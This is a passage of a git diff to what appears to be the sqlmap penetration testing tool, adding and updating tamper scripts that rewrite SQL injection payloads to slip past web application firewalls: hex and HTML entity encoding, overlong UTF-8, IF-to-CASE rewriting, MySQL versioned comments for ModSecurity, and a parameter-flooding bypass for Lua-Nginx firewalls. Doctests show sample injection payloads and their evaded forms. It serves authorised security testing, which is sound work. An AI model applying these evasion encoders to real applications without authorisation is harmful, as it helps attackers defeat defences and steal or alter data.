"/*!0%s" % word) + else: + return match.group() + + retVal = payload + + if payload: + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) + retVal = retVal.replace(" /*!0", "/*!0") + + return retVal diff --git a/tamper/hex2char.py b/tamper/hex2char.py new file mode 100644 index 00000000000..89bcc32c8c6 --- /dev/null +++ b/tamper/hex2char.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import decodeHex +from lib.core.convert import getOrds +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful in cases when web application does the upper casing + + >>> tamper('SELECT 0xdeadbeef') + 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): + if len(match.group(1)) > 2: + result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) + else: + result = "CHAR(%d)" % ord(decodeHex(match.group(1))) + retVal = retVal.replace(match.group(0), result) + + return retVal diff --git a/tamper/hexentities.py b/tamper/hexentities.py new file mode 100644 index 00000000000..9b060673a04 --- /dev/null +++ b/tamper/hexentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#x%s;" % format(ord(payload[i]), "x") + i += 1 + + return retVal diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py new file mode 100644 index 00000000000..ce09386be77 --- /dev/null +++ b/tamper/htmlencode.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + if payload: + payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 + payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) + + return payload diff --git a/tamper/if2case.py b/tamper/if2case.py new file mode 100644 index 00000000000..e43c4f8f217 --- /dev/null +++ b/tamper/if2case.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IF() functions + + >>> tamper('IF(1, 2, 3)') + 'CASE WHEN (1) THEN (2) ELSE (3) END' + >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') + 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' + """ + + if payload and payload.find("IF") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) + while payload.find("IF(") > -1: + index = payload.find("IF(") + depth = 1 + commas, end = [], None + + for i in xrange(index + len("IF("), len(payload)): + if depth == 1 and payload[i] == ',': + commas.append(i) + + elif depth == 1 and payload[i] == ')': + end = i + break + + elif payload[i] == '(': + depth += 1 + + elif payload[i] == ')': + depth -= 1 + + if len(commas) == 2 and end: + a = payload[index + len("IF("):commas[0]].strip("()") + b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") + c = payload[commas[1] + 1:end].lstrip().strip("()") + newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + payload = payload.replace(REPLACEMENT_MARKER, "()") + + return payload diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py new file mode 100644 index 00000000000..36c8eb9462d --- /dev/null +++ b/tamper/ifnull2casewhenisnull.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IFNULL() functions + + >>> tamper('IFNULL(1, 2)') + 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' + """ + + if payload and payload.find("IFNULL") > -1: + while payload.find("IFNULL(") > -1: + index = payload.find("IFNULL(") + depth = 1 + comma, end = None, None + + for i in xrange(index + len("IFNULL("), len(payload)): + if depth == 1 and payload[i] == ',': + comma = i + + elif depth == 1 and payload[i] == ')': + end = i + break + + elif payload[i] == '(': + depth += 1 + + elif payload[i] == ')': + depth -= 1 + + if comma and end: + _ = payload[index + len("IFNULL("):comma] + __ = payload[comma + 1:end].lstrip() + newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + return payload diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index ac39ff99879..a6399f290dd 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -12,13 +13,9 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' - - Example: - * Input: IFNULL(1, 2) - * Output: IF(ISNULL(1), 2, 1) + Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart Requirement: * MySQL @@ -31,33 +28,36 @@ def tamper(payload): Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function + + >>> tamper('IFNULL(1, 2)') + 'IF(ISNULL(1),2,1)' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") - deepness = 1 + depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): - if deepness == 1 and payload[i] == ',': + if depth == 1 and payload[i] == ',': comma = i - elif deepness == 1 and payload[i] == ')': + elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': - deepness += 1 + depth += 1 elif payload[i] == ')': - deepness -= 1 + depth -= 1 if comma and end: - A = payload[index + len("IFNULL("):comma] - B = payload[comma + 1:end] - newVal = "IF(ISNULL(%s),%s,%s)" % (A, B, A) - payload = payload[:index] + newVal + payload[end+1:] + _ = payload[index + len("IFNULL("):comma] + __ = payload[comma + 1:end].lstrip() + newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) + payload = payload[:index] + newVal + payload[end + 1:] else: break diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py new file mode 100644 index 00000000000..bb977b90229 --- /dev/null +++ b/tamper/informationschemacomment.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier + + >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') + 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) + + return retVal diff --git a/tamper/least.py b/tamper/least.py new file mode 100644 index 00000000000..a4f84a5a9a3 --- /dev/null +++ b/tamper/least.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'LEAST' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The LEAST clause is a widespread SQL command. Hence, this + tamper script should work against majority of databases + + >>> tamper('1 AND A > B') + '1 AND LEAST(A,B+1)=B+1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/lowercase.py b/tamper/lowercase.py new file mode 100644 index 00000000000..ab0fa2e9a0c --- /dev/null +++ b/tamper/lowercase.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each keyword character with lower case value (e.g. SELECT -> select) + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + + >>> tamper('INSERT') + 'insert' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): + word = match.group() + + if word.upper() in kb.keywords: + retVal = retVal.replace(word, word.lower()) + + return retVal diff --git a/tamper/luanginx.py b/tamper/luanginx.py new file mode 100644 index 00000000000..aca3e3a1b10 --- /dev/null +++ b/tamper/luanginx.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string + +from lib.core.compat import xrange +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of more than 100 parameters + + >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) + '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500)) + + return payload diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py new file mode 100644 index 00000000000..1d360db1005 --- /dev/null +++ b/tamper/luanginxmore.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string +import os + +from lib.core.compat import xrange +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of huge number of parameters + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + return payload diff --git a/tamper/misunion.py b/tamper/misunion.py new file mode 100644 index 00000000000..062f049cc0c --- /dev/null +++ b/tamper/misunion.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces instances of UNION with -.1UNION + + Requirement: + * MySQL + + Notes: + * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf + + >>> tamper('1 UNION ALL SELECT') + '1-.1UNION ALL SELECT' + >>> tamper('1" UNION ALL SELECT') + '1"-.1UNION ALL SELECT' + """ + + return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 1a8ebd26f4b..458497706cd 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,25 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + from lib.core.common import randomInt +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Embraces complete query with versioned comment - - Example: - * Input: 1 AND 2>1-- - * Output: 1 /*!30000AND 2>1*/-- + Embraces complete query with (MySQL) versioned comment Requirement: * MySQL @@ -28,7 +28,12 @@ def tamper(payload): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF + + >>> import random + >>> random.seed(0) + >>> tamper('1 AND 2>1--') + '1 /*!30963AND 2>1*/--' """ retVal = payload diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 14324d04f19..0cf1dd511aa 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Embraces complete query with zero-versioned comment - - Example: - * Input: 1 AND 2>1-- - * Output: 1 /*!00000AND 2>1*/-- + Embraces complete query with (MySQL) zero-versioned comment Requirement: * MySQL @@ -27,7 +27,10 @@ def tamper(payload): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF + + >>> tamper('1 AND 2>1--') + '1 /*!00000AND 2>1*/--' """ retVal = payload diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 338e3df8868..ab02a0c911c 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random import re from lib.core.data import kb +from lib.core.datatype import OrderedSet from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -16,34 +17,34 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Adds multiple spaces around SQL keywords - - Example: - * Input: UNION SELECT - * Output: UNION SELECT + Adds multiple spaces (' ') around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt + + >>> random.seed(0) + >>> tamper('1 UNION SELECT foobar') + '1 UNION SELECT foobar' """ retVal = payload if payload: - words = set() + words = OrderedSet() - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: - retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' '*random.randrange(1,4), word, ' '*random.randrange(1,4)), retVal) - retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' '*random.randrange(1,4), word), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) return retVal diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py new file mode 100644 index 00000000000..7e59ecb2ae6 --- /dev/null +++ b/tamper/ord2ascii.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces ORD() occurences with equivalent ASCII() calls + Requirement: + * MySQL + >>> tamper("ORD('42')") + "ASCII('42')" + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + + return retVal diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py new file mode 100644 index 00000000000..75bd678e775 --- /dev/null +++ b/tamper/overlongutf8.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7) + + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + if payload[i] not in (string.ascii_letters + string.digits): + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + else: + retVal += payload[i] + i += 1 + + return retVal diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py new file mode 100644 index 00000000000..391464f6ef7 --- /dev/null +++ b/tamper/overlongutf8more.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) + + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + i += 1 + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 359b35d9966..4f4da1f6186 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,28 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) -def tamper(payload): +def tamper(payload, **kwargs): """ - Adds a percentage sign ('%') infront of each character - - Example: - * Input: SELECT FIELD FROM TABLE - * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E + Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T) Requirement: * ASP @@ -34,6 +30,9 @@ def tamper(payload): Notes: * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT FIELD FROM TABLE') + '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ if payload: @@ -41,8 +40,8 @@ def tamper(payload): i = 0 while i < len(payload): - if payload[i] == '%' and (i < len(payload) - 2) and payload[i+1:i+2] in string.hexdigits and payload[i+2:i+3] in string.hexdigits: - retVal += payload[i:i+3] + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py new file mode 100644 index 00000000000..a1738a11079 --- /dev/null +++ b/tamper/plus2concat.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.common import zeroDepthSearch +from lib.core.enums import DBMS 